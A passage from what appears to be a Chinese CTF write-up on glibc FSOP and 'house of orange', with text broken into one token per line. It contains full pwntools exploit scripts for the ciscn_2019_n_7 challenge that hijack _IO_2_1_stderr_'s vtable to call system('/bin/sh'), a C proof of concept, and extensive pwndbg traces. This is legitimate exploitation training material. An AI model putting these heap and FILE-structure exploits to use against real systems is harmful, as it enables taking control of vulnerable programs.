,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
,
_chain
=
0x7efe8674e620
<_IO_2_1_stdout_>,
_fileno
=
2
,
_flags2
=
0
,
_old_offset
=
-
1
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x7efe8674f770
<_IO_stdfile_2_lock>,
_offset
=
-
1
,
_codecvt
=
0x0
,
_wide_data
=
0x7efe8674d660
<_IO_wide_data_2>,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674c6e0
<_IO_file_jumps>
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
pwndbg> p _IO_2_1_stderr_
$
1
=
{
file
=
{
_flags
=
1852400175
,
# /bin/sh
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
# 0
_IO_write_ptr
=
0x1
<error: Cannot access memory at address
0x1
>,
# 1
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
# <-- 覆写的vtable会指向这里
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_IO_save_end
=
0x7efe863ce3a0
<__libc_system>
"H\205\377t\v\351\206\372\377\377f\017\037D"
,
# system
_markers
=
0x7efe863ce3a0
<__libc_system>,
# system
_chain
=
0x7efe863ce3a0
<__libc_system>,
# system
_fileno
=
0
,
_flags2
=
0
,
_old_offset
=
0
,
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
,
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x7efe8674e580
<_IO_2_1_stderr_
+
64
>
# addr(_IO_2_1_stderr_) + 0x40
}
pwndbg> p _IO_file_jumps
$
2
=
{
__dummy
=
0
,
__dummy2
=
0
,
__finish
=
0x7efe864029d0
<_IO_new_file_finish>,
__overflow
=
0x7efe86403740
<_IO_new_file_overflow>,
# exit会调用(偏移为4)
__underflow
=
0x7efe864034b0
<_IO_new_file_underflow>,
__uflow
=
0x7efe86404610
<__GI__IO_default_uflow>,
__pbackfail
=
0x7efe86405990
<__GI__IO_default_pbackfail>,
__xsputn
=
0x7efe864021f0
<_IO_new_file_xsputn>,
__xsgetn
=
0x7efe86401ed0
<__GI__IO_file_xsgetn>,
__seekoff
=
0x7efe864014d0
<_IO_new_file_seekoff>,
__seekpos
=
0x7efe86404a10
<_IO_default_seekpos>,
__setbuf
=
0x7efe86401440
<_IO_new_file_setbuf>,
__sync
=
0x7efe86401380
<_IO_new_file_sync>,
__doallocate
=
0x7efe863f6190
<__GI__IO_file_doallocate>,
__read
=
0x7efe864021b0
<__GI__IO_file_read>,
__write
=
0x7efe86401b80
<_IO_new_file_write>,
__seek
=
0x7efe86401980
<__GI__IO_file_seek>,
__close
=
0x7efe86401350
<__GI__IO_file_close>,
__stat
=
0x7efe86401b70
<__GI__IO_file_stat>,
__showmanyc
=
0x7efe86405b00
<_IO_default_showmanyc>,
__imbue
=
0x7efe86405b10
<_IO_default_imbue>
}
|
_IO_FILE
结构体里_flags
和_IO_read_ptr
之间相差8字节,结构体会地址对齐
1234pwndbg> p &(stderr
-
>_flags)
$
8
=
(
int
*
)
0x7f9d0bb2b540
<_IO_2_1_stderr_>
pwndbg> p &(stderr
-
>_IO_read_ptr)
$
9
=
(char
*
*
)
0x7f9d0bb2b548
<_IO_2_1_stderr_
+
8
>
exit
->_IO_flush_all_lockp
-> __overflow
1
2
3
4
|
# step4:exit
command(
'a'
)
sleep(
0.5
)
itr()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
context(log_level
=
'debug'
)
#,terminal=['tmux','sp','-h'])
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(
str
(delim),
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(
str
(delim),
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
itr
=
lambda
:p.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
p
=
process(
"./ciscn_2019_n_7"
)
#p = remote("node4.buuoj.cn",29535)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
#libc = ELF('./libc-2.23.so')
elf
=
ELF(
"./ciscn_2019_n_7"
)
def
dbg():
gdb.attach(p)
pause()
def
command(
id
):
ru(
"-> \n"
)
sl(
str
(
id
))
def
add(article_len,author_name):
command(
1
)
ru(
'Input string Length: \n'
)
sl(
str
(article_len))
ru(
'Author name:\n'
)
s(author_name)
def
edit(name, content):
command(
2
)
ru(
"New Author name:\n"
)
sl(name)
ru(
"New contents:\n"
)
s(content)
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
payload
=
'/bin/sh'
.ljust(
32
,
'\x00'
)
+
p64(
0
)
+
p64(
1
)
#0x30
payload
+
=
p64(
0
)
*
4
+
p64(system)
*
4
#p64(libc_base+0x4526a)*4#0x50-0x70
payload
=
payload.ljust(
0xd8
,
'\x00'
)
payload
+
=
p64(IO_2_1_stderr
+
0x40
)
edit(
'a\n'
, payload)
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
# 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
sleep(
0.5
)
#p.sendline('exec 1>&0')
itr()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
......
from
pwn_debug
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
#,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
......
# step1: leak addr
command(
666
)
puts_addr
=
int
(r(
14
),
16
)
leak(
"puts_addr"
,puts_addr)
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
leak(
"libc_base"
,libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr
=
libc.sym[
'_IO_2_1_stderr_'
]
+
libc_base
leak(
"IO_2_1_stderr"
, IO_2_1_stderr)
system
=
libc_base
+
libc.sym[
'system'
]
leak(
"system"
, system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload
=
'a'
*
8
+
p64(IO_2_1_stderr)
add(
0xf8
,payload)
# sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
#payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, '\x00')
#payload += p64(IO_2_1_stderr+0x40)
libc.address
=
libc_base
# 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file
=
IO_FILE_plus()
# 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags
=
0x0068732f6e69622f
fake_file._IO_write_base
=
0
fake_file._IO_write_ptr
=
1
fake_file._mode
=
0
#fake_file._IO_save_end = system
fake_file._IO_save_end
=
libc.sym[
"system"
]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable
=
libc.sym[
"_IO_2_1_stderr_"
]
+
0x40
fake_file.show()
# 打印fake file的结构
#dbg()
#edit('a\n', payload)
edit(
'a\n'
,
str
(fake_file))
#dbg()
sleep(
0.5
)
# step4:exit
command(
'a'
)
sleep(
0.5
)
#p.sendline('exec 1>&0')
p.interactive()
|
< 2.26
原理为:堆溢出
+ size(top chunk)<size(request)
+ unsorted bin attack
+ fsop
house of orange攻击的主要思路是利用unsorted bin attack
修改_IO_list_all
指针,并伪造_IO_FILE_plus
结构体及其vtable
(虚函数表)来劫持控制流。
利用过程
通过堆溢出漏洞把top chunk的size改小
通过申请一个比溢出修改后top chunk的size更大的chunk,使得top chunk进入unsorted bin,泄露出libc基址
通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88/96
(实则指向top chunk
)
在old_top_chunk
伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流
在
_IO_FILE_plus
结构体中,_chain
的偏移为0x68
,而top chunk
之后为0x8
单位的last_remainder
,接下来为unsorted bin
的fd
与bk
指针,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,即可进行FSOP
。
IO_list_all
的内容IO_FILE
和vtable
_IO_list_all
的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
/
/
gcc house_of_orange.c
-
g
-
o house_of_orange
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
winner ( char
*
ptr);
int
main()
{
char
*
p1,
*
p2;
size_t io_list_all,
*
top;
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
/
/
执行malloc中的攻击链
malloc(
10
);
return
0
;
}
int
winner(char
*
ptr)
{
system(ptr);
return
0
;
}
|
_IO_list_all
的地址1.分配一个chunk
1
2
|
/
/
首先 malloc 一块
0x400
大小的 chunk
p1
=
malloc(
0x400
-
16
);
|
1
2
3
4
5
6
7
8
|
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0x20c01
<
-
-
0x20c00
+
0x400
=
0x21000
(页对齐(
0x1000
))
|
2.溢出修改top chunk的size
1
2
3
|
/
/
假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的
0xc01
top
=
(size_t
*
) ( (char
*
) p1
+
0x400
-
16
);
top[
1
]
=
0xc01
;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
pwndbg> p top
$
1
=
(size_t
*
)
0x602400
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x602000
Size:
0x401
Top chunk | PREV_INUSE
Addr:
0x602400
Size:
0xc01
pwndbg> p top
$
2
=
(size_t
*
)
0x602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000c01
<
-
-
0xc00
+
0x400
=
0x1000
页对齐
0x602410
:
0x0000000000000000
0x0000000000000000
|
3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中
1
2
|
/
/
再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2
=
malloc(
0x1000
);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
pwndbg>
bin
fastbins
0x20
:
0x0
0x30
:
0x0
0x40
:
0x0
0x50
:
0x0
0x60
:
0x0
0x70
:
0x0
0x80
:
0x0
unsortedbin
all
:
0x602400
—▸
0x7ffff7dd1b78
(main_arena
+
88
) ◂—
0x602400
smallbins
empty
largebins
empty
pwndbg> x
/
4gx
(char
*
)(&main_arena)
+
88
0x7ffff7dd1b78
<main_arena
+
88
>:
0x0000000000624010
0x0000000000000000
0x7ffff7dd1b88
<main_arena
+
104
>:
0x0000000000602400
0x0000000000602400
pwndbg> x
/
4gx
0x602400
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd1b78
<
-
-
old top chunk的fd和bk都存储unsoredbin地址
|
heap的变化如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
/
/
溢出修改top的size前
0x602000
0x602400
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| chunk | Top ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
...
-
-
-
-
-
-
-
-
-
-
-
-
-
|
heap start heap end
/
/
溢出修改top的size后
0x602000
0x602400
0x603000
0x623000
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
| chunk | Top .. | ... |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
heap start heap end
/
/
malloc(
0x1000
)后
0x602000
0x602400
0x603000
0x623000
0x624010
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
| chunk | Top(free) .. | ... | chunk p2| new Top |
|
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
..
-
-
-
-
-
-
|
-
-
...
-
-
|
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
..
-
-
-
-
|
heap start new heap end
|
4.泄露出_IO_list_all的地址
1
2
|
/
/
此时top[
2
]和top[
3
]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是
0x9a8
,计算得到 _IO_list_all的地址
io_list_all
=
top[
2
]
+
0x9a8
;
|
1
2
|
pwndbg> p
/
x io_list_all
$
16
=
0x7ffff7dd2520
|
回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:
1234567891011for
(;; )
{
int
iters
=
0
;
while
((victim
=
unsorted_chunks (av)
-
>bk) !
=
unsorted_chunks (av))
/
/
将最后一个chunk(victim)取出
{
bck
=
victim
-
>bk;
/
/
bck为倒数第二个chunk
......
/
*
remove
from
unsorted
list
*
/
unsorted_chunks (av)
-
>bk
=
bck;
/
/
若发生攻击,则unsortedbin的bk设置成了改写的victim
-
>bk
bck
-
>fd
=
unsorted_chunks (av);
/
/
把倒数第二个chunk的fd设置为unsorted_chunks(av)
......
所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)
5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all - 0x10
1
2
|
/
/
假设存在堆溢出,设置old top chunk的bk指针为 io_list_all
-
0x10
,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[
3
]
=
io_list_all
-
0x10
;
|
1
2
3
|
pwndbg> x
/
4gx
top
0x602400
:
0x0000000000000000
0x0000000000000be1
0x602410
:
0x00007ffff7dd1b78
0x00007ffff7dd2510
|
回顾fsop:
_IO_flush_all_lockp
中调用_IO_OVERFLOW
的条件,根据短路原理可知需满足:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
FSOP攻击条件
- 能泄露出libc的基址 -> 泄露出
_IO_list_all
的地址(满足)- 有可控内存 -> 伪造
_IO_FILE
和vtable
(无法控制main_arena中的数据)- 任意地址写 -> 将
_IO_list_all
的内容改为指向可控内存的指针(满足)
6.为fsop作准备
前面unsortedbin attack可将_IO_list_all
指针的值修改为main_arena+88
。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr
和_IO_write_base
的对应偏移处构造出合适的值。
所以将目光转向_IO_FILE
的链表特性。_IO_flush_all_lockp
函数会通过fp = fp->_chain
不断的寻找下一个_IO_FILE
。
所以如果可以修改fp->_chain
到一个我们伪造好的_IO_FILE
的地址,那么就可以成功实现利用了。
巧妙的是,_IO_FILE
结构中的_chain
字段对应偏移是0x68,而在main_arena+88
对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
/
/
将字符串
/
bin
/
sh放到 old top chunk 的开头,并且把 size 改为
0x61
,这里改为
0x61
是因为这个大小属于 smallbin[
4
],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char
*
) top,
"/bin/sh\x00"
,
8
);
top[
1
]
=
0x61
;
_IO_FILE
*
fp
=
(_IO_FILE
*
) top;
/
/
为调用_IO_OVERFLOW需满足一些检查,包括:fp
-
>_mode
=
0
、_IO_write_base 小于 _IO_write_ptr
fp
-
>_mode
=
0
;
fp
-
>_IO_write_base
=
(char
*
)
2
;
fp
-
>_IO_write_ptr
=
(char
*
)
3
;
/
/
将_IO_OVERFLOW 改为 system 函数的地址
size_t
*
jump_table
=
&top[
12
];
jump_table[
3
]
=
(size_t) &winner;
/
/
把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*
(size_t
*
) ((size_t) fp
+
sizeof(_IO_FILE))
=
(size_t) jump_table;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
pwndbg> p
*
((struct _IO_FILE_plus
*
)
0x602400
)
# 查看布局之后的old top chunk
$
18
=
{
file
=
{
_flags
=
1852400175
, <
-
-
_flags
=
"/bin/sh"
_IO_read_ptr
=
0x61
<error: Cannot access memory at address
0x61
>,
_IO_read_end
=
0x7ffff7dd1b78
<main_arena
+
88
>
"\020@b"
,
_IO_read_base
=
0x7ffff7dd2510
"",
_IO_write_base
=
0x2
<error: Cannot access memory at address
0x2
>, <
-
-
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
_IO_write_ptr
=
0x3
<error: Cannot access memory at address
0x3
>,
_IO_write_end
=
0x0
,
_IO_buf_base
=
0x0
,
_IO_buf_end
=
0x0
,
_IO_save_base
=
0x0
,
_IO_backup_base
=
0x0
,
_IO_save_end
=
0x0
,
_markers
=
0x0
, <
-
-
top[
12
]
/
jump_table[
0
]
_chain
=
0x0
, <
-
-
jump_table[
1
]
_fileno
=
0
, <
-
-
jump_table[
2
]
_flags2
=
0
,
_old_offset
=
4196051
, <
-
-
jump_table[
3
]
_cur_column
=
0
,
_vtable_offset
=
0
'\000'
,
_shortbuf
=
"",
_lock
=
0x0
,
_offset
=
0
,
_codecvt
=
0x0
,
_wide_data
=
0x0
,
_freeres_list
=
0x0
,
_freeres_buf
=
0x0
,
__pad5
=
0
,
_mode
=
0
, <
-
-
fp
-
>_mode <
=
0
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
0x602460
<
-
-
vtable
=
&top[
12
]
}
pwndbg> x
/
gx
0x602400
0x602400
:
0x0068732f6e69622f
pwndbg> x
/
s
0x602400
0x602400
:
"/bin/sh"
|
1
2
3
4
5
6
7
8
9
|
/
/
执行malloc中的攻击链:
/
/
malloc中第一次大
for
循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
/
/
-
> old_top_chunk 插入
0x60
大小对应的smallbin(将main_arena
+
88
为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
/
/
-
> malloc中第二次大
for
循环:unsortedbin
-
>bk不等于自身(unsortedbin attack攻击结果),而其size为
0
,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
malloc(
10
);
|
7.unsortedbin attack实施
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg>
dir
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
Source directories searched:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
libio:$cdir:$cwd
pwndbg> p _IO_list_all
$
29
=
(struct _IO_FILE_plus
*
)
0x7ffff7dd2540
<_IO_2_1_stderr_>
pwndbg> p &_IO_list_all
# 打印_IO_list_all地址
$
30
=
(struct _IO_FILE_plus
*
*
)
0x7ffff7dd2520
<_IO_list_all>
pwndbg> wa
*
0x7ffff7dd2520
# 在_IO_list_all设置硬件断点
Hardware watchpoint
2
:
*
0x7ffff7dd2520
pwndbg> c
Continuing.
Hardware watchpoint
2
:
*
0x7ffff7dd2520
Old value
=
-
136501952
New value
=
-
136504456
# main_arena+88
_int_malloc (av
=
av@entry
=
0x7ffff7dd1b20
<main_arena>, bytes
=
bytes@entry
=
10
) at malloc.c:
3527
warning: Source
file
is
more recent than executable.
3527
if
(size
=
=
nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*
RAX
0x7fffffffdbdf
◂—
0x0
*
RBX
0x7ffff7dd1b20
(main_arena) ◂—
0x100000001
*
RCX
0x7c
*
RDX
0x7ffff7dd1b28
(main_arena
+
8
) ◂—
0x0
*
RDI
0x7fffffffdbe0
◂—
0x0
*
RSI
0x60
R8
0x623000
◂—
0x0
R9
0x0
R10
0x46c
R11
0x7ffff7b5afa0
(__memcpy_avx_unaligned) ◂— mov rax, rdi
*
R12
0x2710
*
R13
0x7ffff7dd1b78
(main_arena
+
88
) —▸
0x624010
◂—
0x0
*
R14
0x602400
◂—
0x68732f6e69622f
/
*
'/bin/sh'
*
/
*
R15
0x7ffff7dd2510
◂—
0x0
*
RBP
0x20
*
RSP
0x7fffffffdb60
◂—
0x7fff00000002
*
RIP
0x7ffff7a8ee3c
(_int_malloc
+
684
) ◂— je
0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
►
0x7ffff7a8ee3c
<_int_malloc
+
684
> je _int_malloc
+
1880
<_int_malloc
+
1880
>
0x7ffff7a8ee42
<_int_malloc
+
690
>
cmp
rsi,
0x3ff
0x7ffff7a8ee49
<_int_malloc
+
697
> jbe _int_malloc
+
536
<_int_malloc
+
536
>
↓
0x7ffff7a8eda8
<_int_malloc
+
536
> mov ecx, esi
0x7ffff7a8edaa
<_int_malloc
+
538
> shr ecx,
4
0x7ffff7a8edad
<_int_malloc
+
541
> lea eax, [rcx
+
rcx
-
2
]
0x7ffff7a8edb1
<_int_malloc
+
545
> cdqe
0x7ffff7a8edb3
<_int_malloc
+
547
> lea rax, [rbx
+
rax
*
8
+
0x60
]
0x7ffff7a8edb8
<_int_malloc
+
552
> mov rdi, qword ptr [rax
+
8
]
0x7ffff7a8edbc
<_int_malloc
+
556
> lea r8, [rax
-
8
]
0x7ffff7a8edc0
<_int_malloc
+
560
> mov eax, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In
file
:
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
glibc
-
2.23
/
malloc
/
malloc.c
3522
unsorted_chunks (av)
-
>bk
=
bck;
3523
bck
-
>fd
=
unsorted_chunks (av);
3524
3525
/
*
Take now instead of binning
if
exact fit
*
/
3526
►
3527
if
(size
=
=
nb) <
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
unsortedbin attack攻击结束
3528
{
3529
set_inuse_bit_at_offset (victim, size);
3530
if
(av !
=
&main_arena)
3531
victim
-
>size |
=
NON_MAIN_ARENA;
3532
check_malloced_chunk (av, victim, nb);
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00
:
0000
│ rsp
0x7fffffffdb60
◂—
0x7fff00000002
01
:
0008
│
0x7fffffffdb68
◂—
0xa
/
*
'\n'
*
/
02
:
0010
│
0x7fffffffdb70
—▸
0x7fffffffdbe0
◂—
0x0
03
:
0018
│
0x7fffffffdb78
—▸
0x7ffff7b5048b
(_dl_addr
+
443
) ◂— add rsp,
0x28
04
:
0020
│
0x7fffffffdb80
◂—
0x0
05
:
0028
│
0x7fffffffdb88
—▸
0x7fffffffdbe8
—▸
0x7ffff7fd9000
—▸
0x7ffff7a0d000
◂— jg
0x7ffff7a0d047
06
:
0030
│
0x7fffffffdb90
◂—
0xffff800000002421
/
*
'!$'
*
/
07
:
0038
│
0x7fffffffdb98
—▸
0x7fffffffdbdf
◂—
0x0
────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f
0
7ffff7a8ee3c
_int_malloc
+
684
f
1
7ffff7a911d4
malloc
+
84
f
2
4006cc
main
+
246
f
3
7ffff7a2d840
__libc_start_main
+
240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p _IO_list_all
# unsortedbin attack攻击成功,_IO_list_all的值变成了main_arena+88
$
31
=
(struct _IO_FILE_plus
*
)
0x7ffff7dd1b78
<main_arena
+
88
>
|
8.查看修改top[1] = 0x61;
的结果:unsortedbin所在地址 + 0x68
(smallbin[0x60]->bk
